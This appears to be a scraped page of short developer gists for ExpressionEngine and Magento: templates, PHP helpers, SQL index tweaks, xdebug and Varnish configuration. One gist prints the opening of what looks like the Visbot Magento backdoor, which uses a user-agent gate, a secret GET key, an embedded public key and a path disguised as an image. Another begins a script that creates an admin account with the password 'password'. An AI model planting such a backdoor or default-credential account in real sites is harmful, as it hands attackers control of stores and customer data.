This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"It would be nice if, similar to Laravel's blade templating, a master template could be defined and | |
have placeholder sections where other templates or code can be inserted." | |
- https://docs.expressionengine.com/latest/templates/layouts.html | |
"It's unfortunate there isn't a tool similar to composer/packagist that can be used to easily find | |
and install open source third-party add-ons as easily as Laravel allows. Composer could probably be | |
used to manage dependencies, but it's not something built in, and the number of packages for EE on | |
packages is probably fairly low." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{exp:low_events:entries | |
... params ... | |
} | |
... stuff ... | |
{layout:set name="paginate_next" value="abc"} | |
{paginate} | |
{pagination_links} | |
<div class="row"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function get_site_pages($cache_bust=false, $override_slash=false) | |
{ | |
$cache_key = '/structure/get_site_pages'; | |
if (!$cache_bust && ($cached_pages = ee()->cache->get($cache_key))) { | |
return $cached_pages; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ALTER TABLE exp_channel_titles ADD INDEX sticky_order (sticky,entry_date,entry_id); | |
# Even if you don't use sticky, every {exp:channel:entries} tag queries on it. | |
ALTER TABLE exp_category_posts ADD INDEX(cat_id); | |
ALTER TABLE exp_files ADD INDEX file_uploads (upload_location_id,file_name); | |
# Lastly, make sure tables are InnoDB. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{if csm:error == TRUE AND csm:action == 11} | |
<div class="error-message"> | |
<strong>The following errors were encountered:</strong> | |
<ul class="error-fields"> | |
{csm:content} | |
</ul> | |
</div> | |
{/if} | |
<div class="grid-row"> | |
<h3>SIGN IN</h3> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
use Behat\Behat\Context\Context; | |
use Behat\Gherkin\Node\TableNode; | |
use Publisher\Model\Phrase; | |
use Publisher\Model\PhraseGroup; | |
use Publisher\Model\PhraseTranslation; | |
use Publisher\Service\Request; | |
class PhraseContext implements Context | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[xdebug] | |
zend_extension="/Applications/MAMP/bin/php/php5.4.33/lib/php/extensions/no-debug-non-zts-20100525/xdebug.so" | |
xdebug.remote_enable=1 | |
xdebug.remote_host=localhost | |
xdebug.remote_port=9000 | |
xdebug.remote_autostart=1 | |
xdebug.profiler_enable=0 | |
xdebug.profiler_output_dir="/Users/blitzing/Documents/vhosts/_logs/webgrind" | |
xdebug.profiler_enable_trigger=1 | |
xdebug.profiler_output_name = cachegrind.out.%t.%p |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
backend default { | |
# .host = "XXX.XXX.XXX.XXX"; | |
.host = "127.0.0.1"; | |
.port = "8080"; | |
} | |
sub vcl_recv { | |
# Forward client's IP to backend | |
remove req.http.X-Forwarded-For; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?PHP | |
$y0 = './skin/adminhtml/default/default/images/cancel_icon_bg.gif'; | |
$m1 = '1355773528'; | |
$k2 = 'pccbe60c'; | |
$k3 = "-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----"; | |
if (@$_SERVER['HTTP_USER_AGENT'] == 'Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;[email protected])') { | |
if (isset($_GET[$k2])) { | |
$m1 = file_exists($y0) | |
? @filemtime($y0) | |
: $m1; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define( 'USERNAME', 'new.user' ); | |
define( 'PASSWORD', 'password' ); | |
define( 'FIRSTNAME', 'Excited' ); | |
define( 'LASTNAME', 'Croc' ); | |
define( 'EMAIL', '[email protected]' ); | |
include_once( 'app/Mage.php' ); | |
Mage::app( 'admin' ); | |
try { |